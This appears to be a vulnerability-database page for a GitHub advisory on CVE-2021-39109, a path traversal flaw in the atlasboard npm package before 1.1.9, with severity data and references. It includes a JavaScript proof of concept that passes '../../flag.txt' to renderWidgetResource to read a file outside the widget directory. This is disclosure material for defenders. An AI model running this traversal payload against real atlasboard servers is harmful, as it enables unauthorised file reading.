GHSA-25PR-6PR6-68V7
Vulnerability from github – Published: 2021-09-02 17:17 – Updated: 2025-09-29 16:41
VLAI?
Summary
Path traversal in atlasboard
Details
The renderWidgetResource resource in Atlasian Atlasboard before version 1.1.9 allows remote attackers to read arbitrary files via a path traversal vulnerability.
PoC
const widget = require(\"atlasboard/lib/webapp/routes/widget\");
// Mock req and res
const req = {};
const res = {
sendFile: (filePath) => {
// Read and return file contents synchronously
const data = fs.readFileSync(filePath, \"utf8\");
console.log(\"Contents of /flag.txt:\");
console.log(data);
},
status: function (code) {
this.statusCode = code;
return this;
},
send: function (msg) {
throw new Error(`Server responded with status ${this.statusCode}: ${msg}`);
},
};
// localPackagesPath set to root to allow traversal to /flag.txt
const localPackagesPath = \"/\";
// resource string with path traversal to escape localPackagesPath and widgets directory
const resource = \"../../flag.txt\";
// Call vulnerable function
await widget.renderWidgetResource(localPackagesPath, resource, req, res);
Severity ?
7.5 (High)
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "atlasboard"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.1.9"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-39109"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2021-09-02T16:35:00Z",
"nvd_published_at": "2021-09-01T06:15:00Z",
"severity": "HIGH"
},
"details": "The renderWidgetResource resource in Atlasian Atlasboard before version 1.1.9 allows remote attackers to read arbitrary files via a path traversal vulnerability.\n\n### PoC\n```javascript\nconst widget = require(\\\"atlasboard/lib/webapp/routes/widget\\\");\n\n// Mock req and res\nconst req = {};\nconst res = {\n sendFile: (filePath) =\u003e {\n // Read and return file contents synchronously\n const data = fs.readFileSync(filePath, \\\"utf8\\\");\n console.log(\\\"Contents of /flag.txt:\\\");\n console.log(data);\n },\n status: function (code) {\n this.statusCode = code;\n return this;\n },\n send: function (msg) {\n throw new Error(`Server responded with status ${this.statusCode}: ${msg}`);\n },\n};\n\n// localPackagesPath set to root to allow traversal to /flag.txt\nconst localPackagesPath = \\\"/\\\";\n\n// resource string with path traversal to escape localPackagesPath and widgets directory\nconst resource = \\\"../../flag.txt\\\";\n\n// Call vulnerable function\nawait widget.renderWidgetResource(localPackagesPath, resource, req, res);\n```",
"id": "GHSA-25pr-6pr6-68v7",
"modified": "2025-09-29T16:41:02Z",
"published": "2021-09-02T17:17:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-39109"
},
{
"type": "WEB",
"url": "https://arxiv.org/abs/2506.04962"
},
{
"type": "WEB",
"url": "https://arxiv.org/pdf/2506.04962"
},
{
"type": "WEB",
"url": "https://bitbucket.org/atlassian/atlasboard/commits/9c03df09f09399e2601010466e8ba3a28236eb9c"
},
{
"type": "WEB",
"url": "https://bitbucket.org/atlassian/atlasboard/pull-requests/91/buildeng-19379-apply-only-the-path"
},
{
"type": "WEB",
"url": "https://bitbucket.org/atlassian/atlasboard/src/master"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Path traversal in atlasboard"
}
Loading…
Loading…
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
Loading…